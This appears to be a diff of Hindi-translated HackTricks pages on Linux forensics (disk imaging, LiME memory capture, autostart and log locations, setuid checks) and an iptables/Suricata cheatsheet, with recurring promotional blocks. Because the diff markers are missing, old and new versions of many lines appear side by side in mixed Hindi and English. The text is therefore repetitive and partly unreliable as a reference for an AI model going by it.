यह एक Windows एप्लिकेशन है जो वॉल्यूम को माउंट करने के लिए है। आप इसे यहाँ से डाउनलोड कर सकते हैं [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
यह एक Windows एप्लिकेशन है जो वॉल्यूम को माउंट करता है। आप इसे यहाँ डाउनलोड कर सकते हैं [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### त्रुटियाँ
### Errors
* **`/dev/loop0 को केवल पढ़ने के लिए माउंट नहीं किया जा सकता`** इस मामले में आपको फ्लैग **`-o ro,norecovery`** का उपयोग करना होगा।
* **`गलत एफएस प्रकार, बुरा विकल्प, /dev/loop0 पर बुरा सुपरब्लॉक, कोडपेज या हेल्पर प्रोग्राम गायब है, या अन्य त्रुटि।`** इस मामले में माउंट विफल हुआ क्योंकि फाइलसिस्टम का ऑफसेट डिस्क इमेज के ऑफसेट से भिन्न है। आपको सेक्टर साइज और स्टार्ट सेक्टर खोजने की आवश्यकता है:
* **`cannot mount /dev/loop0 read-only`** इस मामले में आपको फ्लैग्स **`-o ro,norecovery`** का उपयोग करना होगा।
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** इस मामले में माउंट विफल हो गया क्योंकि फाइल सिस्टम का ऑफसेट डिस्क इमेज के ऑफसेट से अलग है। आपको सेक्टर का आकार और प्रारंभिक सेक्टर ढूंढना होगा:
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -104,7 +109,7 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
नोट करें कि सेक्टर का आकार **512** है और प्रारंभ **2048** है। फिर छवि को इस तरह माउंट करें:
ध्यान दें कि सेक्टर का आकार **512** है और प्रारंभ **2048** है। फिर छवि को इस तरह माउंट करें:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
@ -112,14 +117,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण देखना है या HackTricks को PDF में डाउनलोड करना है**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -17,8 +17,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}
@ -32,7 +32,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
एक बार जब आपने सिस्टम को अच्छे और ज्ञात बाइनरीज़ का उपयोग करने के लिए कॉन्फ़िगर कर लिया, तो आप **कुछ बुनियादी जानकारी निकालना शुरू कर सकते हैं**:
एक बार जब आपने सिस्टम को अच्छे और ज्ञात बाइनरीज़ का उपयोग करने के लिए कॉन्फ़िगर कर लिया है, तो आप **कुछ बुनियादी जानकारी निकालना** शुरू कर सकते हैं:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -67,8 +67,8 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़** स्थापित नहीं कर सकते क्योंकि इससे इसमें कई परिवर्तन होंगे
{% endhint %}
तो, यदि आपके पास Ubuntu का एक समान संस्करण है तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं\
अन्य मामलों में, आपको github से [**LiME**](https://github.com/504ensicsLabs/LiME) डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **निर्देशिका** `/lib/modules/<kernel version>` को अपनी मशीन पर कॉपी कर सकते हैं, और फिर **LiME** को उनका उपयोग करके संकलित कर सकते हैं:
तो, यदि आपके पास Ubuntu का एक समान संस्करण है, तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं\
अन्य मामलों में, आपको [**LiME**](https://github.com/504ensicsLabs/LiME) को github से डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **निर्देशिका** `/lib/modules/<kernel version>` को अपनी मशीन पर कॉपी कर सकते हैं, और फिर **LiME** को उनका उपयोग करके संकलित कर सकते हैं:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -85,12 +85,12 @@ LiME का उपयोग **नेटवर्क के माध्यम
#### सिस्टम को बंद करना
सबसे पहले, आपको **सिस्टम को बंद करना** होगा। यह हमेशा एक विकल्प नहीं होता क्योंकि कभी-कभी सिस्टम एक प्रोडक्शन सर्वर होता है जिसे कंपनी बंद नहीं कर सकती।\
सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य बंद** और एक **"प्लग को खींचना" बंद**। पहला तरीक**प्रक्रियाओं को सामान्य रूप से समाप्त** करने और **फाइल सिस्टम** को **सिंक्रनाइज़** करने की अनुमति देगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की भी अनुमति देगा। "प्लग को खींचने" का तरीका **कुछ जानकारी के नुकसान** को ले जा सकता है (जितनी जानकारी खोई जाएगी, उतनी नहीं क्योंकि हमने पहले ही मेमोरी की एक इमेज ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** चलाएँ और प्लग को खींचें।
सबसे पहले, आपको **सिस्टम को बंद करना** होगा। यह हमेशा एक विकल्प नहीं होता क्योंकि कभी-कभी सिस्टम एक प्रोडक्शन सर्वर होगा जिसे कंपनी बंद नहीं कर सकती।\
सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य शटडाउन** और एक **"प्लग को खींचना" शटडाउन**। पहल**प्रक्रियाओं को सामान्य रूप से समाप्त** करने की अनुमति देगा और **फाइल सिस्टम** को **सिंक्रनाइज़** करेगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की अनुमति भी देगा। "प्लग को खींचने" का दृष्टिकोण **कुछ जानकारी के नुकसान** को ले जा सकता है (जानकारी का बहुत अधिक हिस्सा खोने वाला नहीं है क्योंकि हमने पहले ही मेमोरी की एक इमेज ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** निष्पादित करें और प्लग को खींचें।
#### डिस्क की इमेज लेना
यह ध्यान रखना महत्वपूर्ण है कि **किसी भी चीज़ से संबंधित मामले से पहले अपने कंप्यूटर को कनेक्ट करने से**, आपको यह सुनिश्चित करना होगा कि इसे **केवल पढ़ने के लिए माउंट किया जाएगा** ताकि किसी भी जानकारी को संशोधित करने से बचा जा सके।
यह ध्यान रखना महत्वपूर्ण है कि **किसी भी मामले से संबंधित किसी भी चीज़ से अपने कंप्यूटर को कनेक्ट करने से पहले**, आपको यह सुनिश्चित करना होगा कि इसे **केवल पढ़ने के लिए माउंट किया जाएगा** ताकि किसी भी जानकारी को संशोधित करने से बचा जा सके।
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -179,14 +179,14 @@ Linux सिस्टम घटकों की अखंडता सुनि
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## स्थापित कार्यक्रमों की खोज करें
## स्थापित कार्यक्रमों के लिए खोजें
Debian और RedHat सिस्टम पर स्थापित कार्यक्रमों की प्रभावी खोज के लिए, सामान्य निर्देशिकाओं में मैनुअल जांच के साथ-साथ सिस्टम लॉग और डेटाबेस का उपयोग करने पर विचार करें।
* Debian के लिए, पैकेज इंस्टॉलेशन के बारे में विवरण प्राप्त करने के लिए _**`/var/lib/dpkg/status`**_ और _**`/var/log/dpkg.log`**_ की जांच करें, विशेष जानकारी के लिए `grep` का उपयोग करें।
* RedHat उपयोगकर्ता स्थापित पैकेजों की सूची के लिए `rpm -qa --root=/mntpath/var/lib/rpm` के साथ RPM डेटाबेस को क्वेरी कर सकते हैं।
इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान करने के लिए निर्देशिका लिस्टिंग को सिस्टम-विशिष्ट कमांड के साथ मिलाएं, जिससे आप सभी स्थापित कार्यक्रमों की खोज को बढ़ा सकें।
इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान के लिए निर्देशिका सूचियों को सिस्टम-विशिष्ट कमांड के साथ मिलाएं, जिससे आप सभी स्थापित कार्यक्रमों की खोज को बढ़ा सकें।
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -218,7 +218,7 @@ cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## ऑटॉस्टार्ट स्थानों की जांच करें
## ऑटॉस्टार्ट स्थानों का निरीक्षण करें
### अनुसूचित कार्य
```bash
@ -258,7 +258,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### Other Autostart Locations
लिनक्स उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित करने के लिए विभिन्न फ़ाइलों का उपयोग करता है, जो संभावित रूप से मैलवेयर को आश्रय दे सकती हैं:
लिनक्स विभिन्न फ़ाइलों का उपयोग करता है ताकि उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित किया जा सके, जो संभावित रूप से मैलवेयर को आश्रय दे सकता है:
* **/etc/profile.d/**\*, **/etc/profile**, और **/etc/bash.bashrc**: किसी भी उपयोगकर्ता लॉगिन के लिए निष्पादित किया जाता है।
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, और **\~/.config/autostart**: उपयोगकर्ता-विशिष्ट फ़ाइलें जो उनके लॉगिन पर चलती हैं।
@ -310,16 +310,16 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
* **SSH**: अनधिकृत दूरस्थ कनेक्शनों के लिए _\~/.ssh/authorized\_keys_ और _\~/.ssh/known\_hosts_ की जांच करें।
* **Gnome Desktop**: Gnome अनुप्रयोगों के माध्यम से हाल ही में एक्सेस की गई फ़ाइलों के लिए _\~/.recently-used.xbel_ में देखें।
* **Firefox/Chrome**: संदिग्ध गतिविधियों के लिए _\~/.mozilla/firefox_ या _\~/.config/google-chrome_ में ब्राउज़र इतिहास और डाउनलोड की जांच करें।
* **VIM**: उपयोग विवरणों के लिए _\~/.viminfo_ की समीक्षा करें, जैसे एक्सेस की गई फ़ाइलों के पथ और खोज इतिहास।
* **VIM**: उपयोग विवरणों के लिए _\~/.viminfo_ की समीक्षा करें, जैसे एक्सेस की गई फ़ाइल पथ और खोज इतिहास।
* **Open Office**: हाल की दस्तावेज़ पहुंच की जांच करें जो समझौता की गई फ़ाइलों का संकेत दे सकती है।
* **FTP/SFTP**: अनधिकृत फ़ाइल ट्रांसफर के लिए _\~/.ftp\_history_ या _\~/.sftp\_history_ में लॉग की समीक्षा करें।
* **MySQL**: निष्पादित MySQL क्वेरी के लिए _\~/.mysql\_history_ की जांच करें, जो अनधिकृत डेटाबेस गतिविधियों को प्रकट कर सकती है।
* **MySQL**: निष्पादित MySQL क्वेरी के लिए _\~/.mysql\_history_ की जांच करें, जो संभावित रूप से अनधिकृत डेटाबेस गतिविधियों को प्रकट कर सकती है।
* **Less**: उपयोग इतिहास के लिए _\~/.lesshst_ का विश्लेषण करें, जिसमें देखी गई फ़ाइलें और निष्पादित कमांड शामिल हैं।
* **Git**: रिपॉजिटरी में परिवर्तनों के लिए _\~/.gitconfig_ और प्रोजेक्ट _.git/logs_ की जांच करें।
### USB Logs
[**usbrip**](https://github.com/snovvcrash/usbrip) एक छोटा सा सॉफ़्टवेयर है जो शुद्ध पायथन 3 में लिखा गया है जो लिनक्स लॉग फ़ाइलों (`/var/log/syslog*` या `/var/log/messages*` वितरण के आधार पर) को पार्स करता है USB इवेंट इतिहास तालिकाओं का निर्माण करने के लिए
[**usbrip**](https://github.com/snovvcrash/usbrip) एक छोटा सा सॉफ़्टवेयर है जो शुद्ध पायथन 3 में लिखा गया है जो लिनक्स लॉग फ़ाइलों (`/var/log/syslog*` या `/var/log/messages*` वितरण के आधार पर) को पार्स करता है ताकि USB इवेंट इतिहास तालिकाएँ बनाई जा सकें
यह जानना दिलचस्प है कि **सभी USBs का उपयोग किया गया है** और यदि आपके पास "उल्लंघन घटनाओं" (उन USBs का उपयोग जो उस सूची में नहीं हैं) को खोजने के लिए एक अधिकृत USBs की सूची है तो यह और भी उपयोगी होगा।
@ -367,7 +367,7 @@ Get Access Today:
* **setuid रूट फ़ाइलों की पहचान करें** कमांड का उपयोग करके: `find / -user root -perm -04000 -print` यह उन फ़ाइलों को खोजता है जिनके पास उच्च विशेषाधिकार होते हैं, जिन्हें हमलावरों द्वारा दुरुपयोग किया जा सकता है।
* **मास फ़ाइल हटाने के संकेत के लिए इनोड तालिकाओं में हटाने के टाइमस्टैम्प की समीक्षा करें**, जो संभवतः रूटकिट या ट्रोजन की उपस्थिति का संकेत दे सकते हैं।
* **एक बार पहचानने के बाद निकटवर्ती दुर्भावनापूर्ण फ़ाइलों के लिए लगातार इनोड की जांच करें**, क्योंकि उन्हें एक साथ रखा जा सकता है।
* **हाल ही में संशोधित फ़ाइलों के लिए सामान्य बाइनरी निर्देशिकाओं** (_/bin_, _/sbin_) की जांच करें, क्योंकि इन्हें मैलवेयर द्वारा संशोधित किया जा सकता है।
* **हाल ही में संशोधित फ़ाइलों के लिए सामान्य बाइनरी निर्देशिकाओं** (_/bin_, _/sbin_) की जांच करें, क्योंकि इन्हें मैलवेयर द्वारा बदला जा सकता है।
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फाइलें, लेकिन **inode** **अचानक बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**
ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**
{% endhint %}
## विभिन्न फाइल सिस्टम संस्करणों की तुलना करें
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **पुस्तक: Linux Systems के लिए Malware Forensics Field Guide: Digital Forensics Field Guides**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुंच** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **जुड़ें** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।**
**अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लोज़** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
आज ही एक्सेस प्राप्त करें:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,28 +1,31 @@
# Suricata और Iptables चीटशीट
# Suricata & Iptables cheatsheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iptables
### श्रृंखलाएँ
### Chains
Iptables में, नियमों की सूचियों को श्रृंखलाएँ कहा जाता है जो क्रमश: प्रसंस्कृत किए जाते हैं। इनमें से, तीन मुख्य श्रृंखलाएँ सार्वत्रिक रूप से मौजूद होती हैं, जैसे ही सिस्टम की क्षमताओं पर निर्भर करता है, अतिरिक्त श्रृंखलाएँ जैसे NAT समर्थन किया जा सकता है
Iptables में, नियमों की सूचियाँ जिन्हें चेन कहा जाता है, अनुक्रमिक रूप से संसाधित की जाती हैं। इनमें से, तीन प्राथमिक चेन सार्वभौमिक रूप से उपस्थित होते हैं, जबकि NAT जैसी अतिरिक्त चेन सिस्टम की क्षमताओं के आधार पर संभावित रूप से समर्थित होती हैं
- **Input Chain**: आगंतुक कनेक्शन के व्यवहार का प्रबंधन करने के लिए प्रयोग किया जाता है।
- **Forward Chain**: स्थानीय सिस्टम के लिए निर्धारित न होने वाले आगंतुक कनेक्शनों का संचालन करने के लिए प्रयुक्त किया जाता है। यह उन उपकरणों के लिए सामान्य है जो राउटर के रूप में कार्य कर रहे होते हैं, जहां प्राप्त डेटा को दूसरे गंतव्य की ओर फॉरवर्ड किया जाना है। यह श्रृंखला मुख्य रूप से तब महत्वपूर्ण होती है जब सिस्टम रूटिंग, NATing, या समान कार्यों में शामिल है।
- **Output Chain**: बाहरी कनेक्शनों के नियामक के लिए समर्पित है।
- **Input Chain**: आने वाले कनेक्शनों के व्यवहार को प्रबंधित करने के लिए उपयोग किया जाता है।
- **Forward Chain**: उन आने वाले कनेक्शनों को संभालने के लिए उपयोग किया जाता है जो स्थानीय सिस्टम के लिए नहीं होते। यह उन उपकरणों के लिए सामान्य है जो राउटर के रूप में कार्य करते हैं, जहाँ प्राप्त डेटा को किसी अन्य गंतव्य पर अग्रेषित किया जाना होता है। यह चेन मुख्य रूप से तब प्रासंगिक होती है जब सिस्टम राउटिंग, NATिंग, या समान गतिविधियों में शामिल होता है।
- **Output Chain**: बाहर जाने वाले कनेक्शनों के विनियमन के लिए समर्पित है।
ये श्रृंखलाएँ नेटवर्क ट्रैफिक की व्यवस्थित प्रसंस्करण सुनिश्चित करती हैं, जो डेटा के प्रवाह को सिस्टम में द्वारा, के माध्यम से, और से बाहर नियंत्रित करने के विस्तृत नियमों की निर्धारण की अनुमति देती हैं
ये चेन नेटवर्क ट्रैफ़िक के व्यवस्थित प्रसंस्करण को सुनिश्चित करते हैं, जिससे डेटा के प्रवाह को सिस्टम में, उसके माध्यम से, और बाहर निर्दिष्ट करने के लिए विस्तृत नियमों को निर्धारित किया जा सकता है
```bash
# Delete all rules
iptables -F
@ -59,9 +62,9 @@ iptables-save > /etc/sysconfig/iptables
ip6tables-save > /etc/sysconfig/ip6tables
iptables-restore < /etc/sysconfig/iptables
```
## सुरिकाटा
## Suricata
### स्थापित करें और कॉन्फ़िगर करें
### इंस्टॉल और कॉन्फ़िगर
```bash
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
# Ubuntu
@ -129,68 +132,68 @@ systemctl daemon-reload
```
### नियम परिभाषाएँ
[दस्तावेज़ से:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) एक नियम/हस्ताक्षर निम्नलिखित से मिलकर बनता है:
[दस्तावेज़ों से:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) एक नियम/सिग्नेचर निम्नलिखित से मिलकर बनता है:
* **क्रिया**, निशानी मेल खाते ही क्या होगा यह निर्धारित करती है।
* **क्रिया**, यह निर्धारित करती है कि जब सिग्नेचर मेल खाता है तो क्या होता है।
* **हेडर**, नियम के प्रोटोकॉल, आईपी पते, पोर्ट और दिशा को परिभाषित करता है।
* **नियम विकल्प**, नियम की विशेषताएँ परिभाषित करते हैं।
* **नियम विकल्प**, नियम की विशिष्टताओं को परिभाषित करते हैं।
```bash
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
```
#### **मान्य क्रियाएँ हैं**
* अलर्ट - एक अलर्ट उत्पन्न करें
* पास - पैकेट की और जांच रोकें
* **ड्रॉप** - पैकेट को ड्रॉप करें और अलर्ट उत्पन्न करें
* **रिजेक्ट** - मेल भेजें RST/ICMP पहुंचने योग्य त्रुटि को पैकेट के प्रेषक को
* rejectsrc - बस _reject_ के रूप में
* rejectdst - मेल भेजें RST/ICMP त्रुटि पैकेट प्राप्तकर्ता को
